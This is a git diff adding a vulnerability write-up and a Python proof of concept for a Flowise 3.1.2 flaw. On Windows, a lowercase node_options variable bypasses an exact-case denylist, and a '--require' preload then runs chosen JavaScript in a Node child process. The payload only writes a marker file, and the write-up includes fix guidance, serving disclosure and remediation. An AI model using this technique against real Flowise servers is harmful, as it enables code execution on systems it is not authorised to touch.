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+# Flowise 3.1.2 Custom MCP Environment Variable Case Bypass PoC
+
+This repository documents and validates an authenticated Windows ACE/RCE-class issue in Flowise `3.1.2` / `flowise-components` `3.1.2`.
+
+Flowise Custom MCP stdio validation blocks dangerous environment variable names such as `NODE_OPTIONS` by exact string comparison. Windows treats environment variable names case-insensitively. A casing variant such as `node_options` passes Flowise validation and is still honored by a spawned Node.js child process as `NODE_OPTIONS`.
+
+## Affected Target
+
+- Product: Flowise
+- Version analyzed: `3.1.2`
+- Package: `flowise-components@3.1.2`
+- Platform impact: Windows Flowise deployments
+- Required access: authenticated Flowise session or API-key context that can configure or load a Custom MCP stdio node
+
+## Impact
+
+An authenticated user who can reach Custom MCP stdio configuration can bypass the intended environment denylist and influence Node.js child process startup. When the MCP command is a Node.js process, a lower-case `node_options` entry can preload attacker-chosen JavaScript through Node's startup option handling.
+
+The result is code execution in the Flowise worker/server context on Windows deployments where the Custom MCP path is reachable.
+
+## Source Trace
+
+Relevant source locations in Flowise `3.1.2`:
+
+| File | Behavior |
+| --- | --- |
+| `packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts` | Parses `mcpServerConfig`, validates it when `CUSTOM_MCP_SECURITY_CHECK` is enabled, and creates `MCPToolkit` with stdio when a command is present |
+| `packages/components/nodes/tools/MCP/core.ts` | `MCPToolkit.createClient` passes `serverParams.env` into `StdioClientTransport` |
+| `packages/components/nodes/tools/MCP/core.ts` | `validateEnvironmentVariables` denies `PATH`, `LD_LIBRARY_PATH`, `DYLD_LIBRARY_PATH`, and `NODE_OPTIONS` by exact-case comparison |
+| `@modelcontextprotocol/sdk/client/stdio.js` | The stdio transport spawns the configured process with the supplied environment |
+
+The vulnerable validation shape is:
+
+```ts
+const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
+
+for (const [key, value] of Object.entries(env)) {
+    if (dangerousEnvVars.includes(key)) {
+        throw new Error(...)
+    }
+}
+```
+
+On Windows, `node_options` and `NODE_OPTIONS` address the same environment variable slot for the child process, but only the exact uppercase spelling is denied.
+
+## PoC Design
+
+`poc.py` models the relevant Flowise validation and then launches a local Node.js process with `node_options=--require <loader>`. The loader writes a marker file. On Windows, marker creation proves that the lower-case environment variable bypasses exact-case validation and is honored by Node.js as a startup option.
+
+The script also shows the fix shape by comparing the vulnerable exact-case validator to a normalized validator that checks `key.upper()`.
+
+## Requirements
+
+- Python 3.10 or newer
+- Node.js available in `PATH` for the canary execution step
+- Windows for full child-process behavior reproduction
+
+## Usage
+
+Run the PoC:
+
+```powershell
+python poc.py
+```
+
+Run with a custom marker path:
+
+```powershell
+python poc.py --marker C:\Temp\flowise_marker.txt
+```
+
+Expected Windows output shape:
+
+```json
+{
+  "windows": true,
+  "flowise_style_exact_upper_blocked": true,
+  "flowise_style_lower_variant_accepted": true,
+  "normalized_validator_blocks_lower_variant": true,
+  "node_canary": {
+    "canary_created": true,
+    "canary_content": "node_options honored"
+  },
+  "finding_reproduced": true
+}
+```
+
+## Exploit Preconditions
+
+- The deployment runs on Windows.
+- Custom MCP stdio support is reachable.
+- The attacker has an authenticated/session/API-key path that can influence a Custom MCP node configuration.
+- The configured MCP command starts a Node.js child process or another runtime with security-sensitive environment handling.
+
+## Root Cause
+
+The denylist comparison is platform-insensitive. Environment variable names are case-sensitive on many Unix-like systems but case-insensitive on Windows. A security check that compares environment keys by exact string spelling does not enforce the intended policy on Windows.
+
+## Fix Direction
+
+- Normalize environment variable names before comparison on every platform.
+- Use platform-aware comparison rules when validating environment keys.
+- Prefer an allowlist of safe environment variables for MCP stdio child processes.
+- Add Windows-specific regression tests for case variants such as `node_options`, `Node_Options`, and `NoDe_OpTiOnS`.
+
+## Validation Status
+
+The issue was locally validated against `flowise-components@3.1.2`: exact uppercase `NODE_OPTIONS` was blocked, lowercase `node_options` was accepted, and the MCP stdio path created a marker file through Node.js startup option handling.
diff --git a/flowise-mcp-env-case-bypass-poc/poc.py b/flowise-mcp-env-case-bypass-poc/poc.py
new file mode 100644
index 0000000..a8ac4fa
--- /dev/null
+++ b/flowise-mcp-env-case-bypass-poc/poc.py
@@ -0,0 +1,101 @@
+import argparse
+import json
+import os
+import pathlib
+import platform
+import shutil
+import subprocess
+import sys
+import tempfile
+
+
+def flowise_style_validate(env):
+    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
+    for key, value in env.items():
+        if key in dangerous:
+            raise ValueError(f"Environment variable {key!r} modification is not allowed")
+        if "\x00" in key or "\x00" in str(value):
+            raise ValueError("Environment variables cannot contain null bytes")
+
+
+def normalized_validate(env):
+    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
+    for key, value in env.items():
+        if key.upper() in dangerous:
+            raise ValueError(f"Environment variable {key!r} modification is not allowed")
+        if "\x00" in key or "\x00" in str(value):
+            raise ValueError("Environment variables cannot contain null bytes")
+
+
+def run_node_canary(marker):
+    node = shutil.which("node")
+    if not node:
+        return {"node_found": False, "canary_created": False}
+    marker_path = pathlib.Path(marker).resolve()
+    loader_path = marker_path.with_suffix(".loader.js")
+    loader_path.write_text(
+        "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n",
+        encoding="utf-8",
+    )
+    env = os.environ.copy()
+    env.pop("NODE_OPTIONS", None)
+    env.pop("node_options", None)
+    env["node_options"] = f"--require {loader_path}"
+    env["FLOWISE_POC_MARKER"] = str(marker_path)
+    if marker_path.exists():
+        marker_path.unlink()
+    completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+    return {
+        "node_found": True,
+        "node": node,
+        "returncode": completed.returncode,
+        "stderr": completed.stderr.strip(),
+        "marker": str(marker_path),
+        "canary_created": marker_path.exists(),
+        "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
+    }
+
+
+def run(marker):
+    exact_upper_blocked = False
+    exact_upper_error = ""
+    lower_variant_accepted = False
+    normalized_blocks_lower = False
+    try:
+        flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
+    except ValueError as exc:
+        exact_upper_blocked = True
+        exact_upper_error = str(exc)
+    try:
+        flowise_style_validate({"node_options": "--require accepted.js"})
+        lower_variant_accepted = True
+    except ValueError:
+        lower_variant_accepted = False
+    try:
+        normalized_validate({"node_options": "--require accepted.js"})
+    except ValueError:
+        normalized_blocks_lower = True
+    node_result = run_node_canary(marker)
+    result = {
+        "platform": platform.platform(),
+        "windows": os.name == "nt",
+        "flowise_style_exact_upper_blocked": exact_upper_blocked,
+        "flowise_style_exact_upper_error": exact_upper_error,
+        "flowise_style_lower_variant_accepted": lower_variant_accepted,
+        "normalized_validator_blocks_lower_variant": normalized_blocks_lower,
+        "node_canary": node_result,
+        "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
+    }
+    print(json.dumps(result, indent=2))
+    return 0 if result["finding_reproduced"] else 1
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
+    args = parser.parse_args()
+    raise SystemExit(run(args.marker))
+
+
+if __name__ == "__main__":
+    main()